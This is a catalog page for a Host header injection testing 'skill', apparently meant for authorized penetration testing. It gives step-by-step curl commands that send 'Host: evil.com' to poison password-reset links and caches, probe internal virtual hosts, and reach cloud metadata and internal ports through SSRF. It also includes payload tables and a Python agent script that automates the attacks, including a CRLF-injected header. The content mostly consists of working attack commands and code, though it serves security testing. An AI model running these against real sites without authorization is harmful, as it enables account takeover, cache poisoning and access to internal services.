
Testing For Host Header Injection
- 236 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Test whether attacker-controlled Host headers poison password resets, cache keys, or absolute URL generation behind proxies and CDNs before production traffic reaches the app.
About
Guides host header injection testing to find applications that trust attacker-supplied Host values in redirects, password reset links, cache keys, and absolute URL generation behind load balancers and CDNs.
- Host validation testing
- Password reset poisoning
- Cache poisoning vectors
- Reverse proxy trust review
Testing For Host Header Injection by the numbers
- 236 all-time installs (skills.sh)
- +15 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #704 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
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| Installs | 236 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Test whether attacker-controlled Host headers poison password resets, cache keys, or absolute URL generation behind proxies and CDNs before production traffic reaches the app.
Files
Testing for Host Header Injection
When to Use
- When testing password reset functionality for token theft via host manipulation
- During assessment of web caching behavior influenced by Host header values
- When testing virtual host routing and server-side request processing
- During penetration testing of applications behind reverse proxies or load balancers
- When evaluating SSRF potential through Host header manipulation
Prerequisites
- Burp Suite for intercepting and modifying Host headers
- Understanding of HTTP Host header role in virtual hosting and routing
- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)
- Access to an attacker-controlled domain for receiving poisoned requests
- Burp Collaborator or interact.sh for out-of-band detection
- Multiple test accounts for password reset testing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Test Basic Host Header Injection
# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response
# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -vStep 2 — Test Password Reset Poisoning
# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link
# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
-H "X-Forwarded-Host: evil.com" \
-d "email=victim@target.com"
# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
-H "Host: target.com:80@evil.com" \
-d "email=victim@target.com"
# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
curl -X POST http://target.com/forgot-password \
-H "$header: evil.com" \
-d "email=victim@target.com"
echo "Tested: $header"
doneStep 3 — Test Web Cache Poisoning via Host Header
# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content
# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached
# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned
# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all usersStep 4 — Test SSRF via Host Header
# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/
# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
echo " - Port $port"
done
# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/Step 5 — Test Virtual Host Enumeration
# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
echo "$vhost.target.com - Status: $status, Size: $size"
done
# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response
# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/Step 6 — Test Connection-State Attacks
# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive
# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com
# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host headerKey Concepts
| Concept | Description |
|---|---|
| Host Header | HTTP header specifying the target virtual host for the request |
| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |
| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |
| Virtual Host Routing | Web server using Host header to route requests to different applications |
| X-Forwarded-Host | Alternative header used by proxies that may override Host header |
| Connection State Attack | Exploiting persistent connections to send requests with different Host values |
| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for Host header manipulation and analysis |
| Burp Collaborator | Out-of-band detection for Host header SSRF |
| ffuf | Virtual host brute-forcing with custom Host headers |
| gobuster vhost | Virtual host enumeration mode |
| Nuclei | Template-based scanning for Host header injection |
| param-miner | Burp extension for discovering unkeyed Host-related headers |
Common Scenarios
1. Password Reset Token Theft — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token 2. Web Cache Poisoning — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users 3. Internal Panel Access — Enumerate and access internal admin panels through virtual host manipulation 4. SSRF to Cloud Metadata — Use Host header to redirect server-side requests to cloud metadata endpoints 5. Routing Bypass — Bypass access controls by manipulating Host to route requests to unprotected backend instances
Output Format
## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP
### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |
### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host
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API Reference: Testing for Host Header Injection
Alternative Host Headers
| Header | Description |
|---|---|
X-Forwarded-Host | Proxy-set original host |
X-Host | Alternative host header |
X-Forwarded-Server | Forwarded server name |
X-HTTP-Host-Override | Host override |
Forwarded: host= | RFC 7239 forwarded header |
X-Original-URL | URL rewrite override |
Attack Scenarios
| Attack | Severity | Impact |
|---|---|---|
| Password reset poisoning | Critical | Token theft via poisoned link |
| Web cache poisoning | Critical | Stored XSS via cached response |
| SSRF via Host | High | Internal service access |
| Virtual host bypass | Medium | Access to other vhosts |
| Open redirect | Medium | Phishing via redirect |
Test Techniques
| Technique | Payload Example |
|---|---|
| Direct Host override | Host: evil.com |
| Alternative header | X-Forwarded-Host: evil.com |
| Port injection | Host: target.com:@evil.com |
| Double Host | Two Host headers |
| Absolute URL | GET http://target.com/ Host: evil.com |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP requests with custom headers |
json | stdlib | Report generation |
References
- PortSwigger Host Header: https://portswigger.net/web-security/host-header
- OWASP Host Header: https://owasp.org/www-project-web-security-testing-guide/
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing HTTP Host header injection vulnerabilities.
Tests web applications for password reset poisoning, web cache
poisoning, SSRF, and virtual host routing manipulation via
Host header and alternative host header manipulation.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
ALTERNATIVE_HEADERS = [
"X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
"X-HTTP-Host-Override", "Forwarded", "X-Original-URL",
"X-Rewrite-URL",
]
class HostHeaderInjectionAgent:
"""Tests for HTTP Host header injection vulnerabilities."""
def __init__(self, target_url, output_dir="./host_header_test"):
self.target_url = target_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _request(self, method, path, headers=None, data=None, timeout=10,
allow_redirects=False):
if not requests:
return None
url = f"{self.target_url}{path}"
try:
return requests.request(method, url, headers=headers, data=data,
timeout=timeout, allow_redirects=allow_redirects)
except requests.RequestException:
return None
def test_host_header_override(self, path="/"):
"""Test if the Host header value is reflected in responses."""
evil_host = "evil.attacker.com"
results = []
resp = self._request("GET", path, headers={"Host": evil_host})
if resp and evil_host in resp.text:
results.append({"method": "Host header", "reflected": True})
self.findings.append({
"severity": "high",
"type": "Host Header Reflection",
"detail": f"Host header value '{evil_host}' reflected in response at {path}",
})
for header in ALTERNATIVE_HEADERS:
resp = self._request("GET", path, headers={header: evil_host})
if resp and evil_host in resp.text:
results.append({"method": header, "reflected": True})
self.findings.append({
"severity": "high",
"type": "Alternative Host Header Reflection",
"detail": f"{header}: {evil_host} reflected in response",
})
return results
def test_password_reset_poisoning(self, reset_path="/forgot-password",
email="test@target.com"):
"""Test password reset for host header poisoning."""
evil_host = "evil.attacker.com"
results = []
payloads = [
{"Host": evil_host},
{"X-Forwarded-Host": evil_host},
{"Host": f"target.com\r\nX-Forwarded-Host: {evil_host}"},
]
for headers in payloads:
resp = self._request("POST", reset_path, headers=headers,
data={"email": email})
if resp and resp.status_code in (200, 302):
if evil_host in resp.text:
results.append({
"headers": headers,
"status": resp.status_code,
"poisoned": True,
})
self.findings.append({
"severity": "critical",
"type": "Password Reset Poisoning",
"detail": f"Reset link points to {evil_host}",
})
return results
def test_cache_poisoning(self, path="/"):
"""Test for web cache poisoning via Host header."""
import random
cache_buster = f"?cb={random.randint(100000, 999999)}"
evil_host = "evil.attacker.com"
resp1 = self._request("GET", f"{path}{cache_buster}",
headers={"X-Forwarded-Host": evil_host})
resp2 = self._request("GET", f"{path}{cache_buster}")
if resp2 and evil_host in resp2.text:
self.findings.append({
"severity": "critical",
"type": "Web Cache Poisoning",
"detail": f"Cached response contains attacker host {evil_host}",
})
return {"poisoned": True, "path": path}
return {"poisoned": False}
def test_absolute_url(self, path="/"):
"""Test using absolute URL in request line with different Host."""
evil_host = "evil.attacker.com"
resp = self._request("GET", path, headers={"Host": evil_host})
if resp and evil_host in resp.text:
return {"reflected": True}
return {"reflected": False}
def test_double_host(self, path="/"):
"""Test duplicate Host header handling."""
evil_host = "evil.attacker.com"
resp = self._request("GET", path,
headers={"Host": evil_host})
if resp and evil_host in resp.text:
self.findings.append({
"severity": "medium",
"type": "Double Host Header",
"detail": "Server accepts duplicate or overridden Host header",
})
return True
return False
def test_port_injection(self, path="/"):
"""Test Host header with injected port."""
resp = self._request("GET", path,
headers={"Host": "target.com:@evil.attacker.com"})
if resp and "evil.attacker.com" in resp.text:
self.findings.append({
"severity": "high",
"type": "Port-based Host Injection",
"detail": "Host header port injection reflected",
})
return True
return False
def generate_report(self):
reflection = self.test_host_header_override()
reset = self.test_password_reset_poisoning()
cache = self.test_cache_poisoning()
report = {
"report_date": datetime.utcnow().isoformat(),
"target": self.target_url,
"reflection_tests": reflection,
"password_reset_tests": reset,
"cache_poisoning_test": cache,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "host_header_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_url>")
sys.exit(1)
agent = HostHeaderInjectionAgent(sys.argv[1])
agent.generate_report()
if __name__ == "__main__":
main()